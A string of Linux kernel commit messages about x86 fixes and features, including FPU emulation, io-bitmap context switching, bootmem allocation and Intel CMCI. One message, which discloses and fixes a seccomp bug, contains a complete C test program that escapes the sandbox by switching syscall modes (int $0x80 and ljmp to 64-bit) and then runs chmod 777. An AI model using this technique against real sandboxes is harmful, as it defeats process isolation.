Impact: fix math-emu related crash while using GDB/ptrace init_fpu() calls finit to initialize a task's xstate, while finit always works on the current task. If we use PTRACE_GETFPREGS on another process and both processes did not already use floating point, we get a null pointer exception in finit. This patch creates a new function finit_task that takes a task_struct parameter. finit becomes a wrapper that simply calls finit_task with current. On the plus side this avoids many calls to get_current which would each resolve to an inline assembler mov instruction. An empty finit_task has been added to i387.h to avoid linker errors in case the compiler still emits the call in init_fpu when CONFIG_MATH_EMULATION is not defined. The declaration of finit in i387.h has been removed as the remaining code using this function gets its prototype from fpu_proto.h.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: NRoland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>

Impact: remove 32-bit optimization to prepare unification x86-32 and -64 differ in the way they context-switch tasks with io permission bitmaps. x86-64 simply copies the next tasks io bitmap into place (if any) on context switch. x86-32 invalidates the bitmap on context switch, so that the next IO instruction will fault; at that point it installs the appropriate IO bitmap. This makes context switching IO-bitmap-using tasks a bit more less expensive, at the cost of making the next IO instruction slower due to the extra fault. This tradeoff only makes sense if IO-bitmap-using processes are relatively common, but they don't actually use IO instructions very often. However, in a typical desktop system, the only process likely to be using IO bitmaps is the X server, and nothing at all on a server. Therefore the lazy context switch doesn't really win all that much, and its just a gratuitious difference from 64-bit code. This patch removes the lazy context switch, with a view to unifying this code in a later change.

Impact: standardize IO on cached ops On modern CPUs it is almost always a bad idea to use non-temporal stores, as the regression in this commit has shown it: 30d697fa: x86: fix performance regression in write() syscall The kernel simply has no good information about whether using non-temporal stores is a good idea or not - and trying to add heuristics only increases complexity and inserts fragility. The regression on cached write()s took very long to be found - over two years. So dont take any chances and let the hardware decide how it makes use of its caches. The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are absolutely sure that another entity (the GPU) will pick up the dirty data immediately and that the CPU will not touch that data before the GPU will. Also, keep the _nocache() primitives to make it easier for people to experiment with these details. There may be more clear-cut cases where non-cached copies can be used, outside of filemap.c.

Impact: fix new breakages introduced by previous fix Commit c1329375 tried to clean up bootmem arch wrapper but it wasn't quite correct. Before the commit, the followings were broken. * Low level interface functions prefixed with __ ignored arch preference. * reserve_bootmem(...) can't be mapped into reserve_bootmem_node(NODE_DATA(0)->bdata, ...) because the node is not preference here. The region specified MUST fall into the specified region; otherwise, it will panic. After the commit, * If allocation fails for the arch preferred node, it should fallback to whatever is available. Instead, it simply failed allocation. There are too many internal details to allow generic wrapping and still keep things simple for archs. Plus, all that arch wants is a way to prefer certain node over another. This patch drops the generic wrapping around alloc_bootmem_core() and add alloc_bootmem_core() instead. If necessary, arch can define bootmem_arch_referred_node() macro or function which takes all allocation information and returns the preferred node. bootmem generic code will always try the preferred node first and then fallback to other nodes as usual.

Impact: Major new feature Intel CMCI (Corrected Machine Check Interrupt) is a new feature on Nehalem CPUs. It allows the CPU to trigger interrupts on corrected events, which allows faster reaction to them instead of with the traditional polling timer. Also use CMCI to discover shared banks. Machine check banks can be shared by CPU threads or even cores. Using the CMCI enable bit it is possible to detect the fact that another CPU already saw a specific bank. Use this to assign shared banks only to one CPU to avoid reporting duplicated events. On CPU hot unplug bank sharing is re discovered. This is done using a thread that cycles through all the CPUs. To avoid races between the poller and CMCI we only poll for banks that are not CMCI capable and only check CMCI owned banks on a interrupt. The shared banks ownership information is currently only used for CMCI interrupts, not polled banks. The sharing discovery code follows the algorithm recommended in the IA32 SDM Vol3a 14.5.2.1 The CMCI interrupt handler just calls the machine check poller to pick up the machine check event that caused the interrupt. I decided not to implement a separate threshold event like the AMD version has, because the threshold is always one currently and adding another event didn't seem to add any value. Some code inspired by Yunhong Jiang's Xen implementation, which was in term inspired by a earlier CMCI implementation by me. Signed-off-by: NAndi Kleen <ak@linux.intel.com> Signed-off-by: NH.
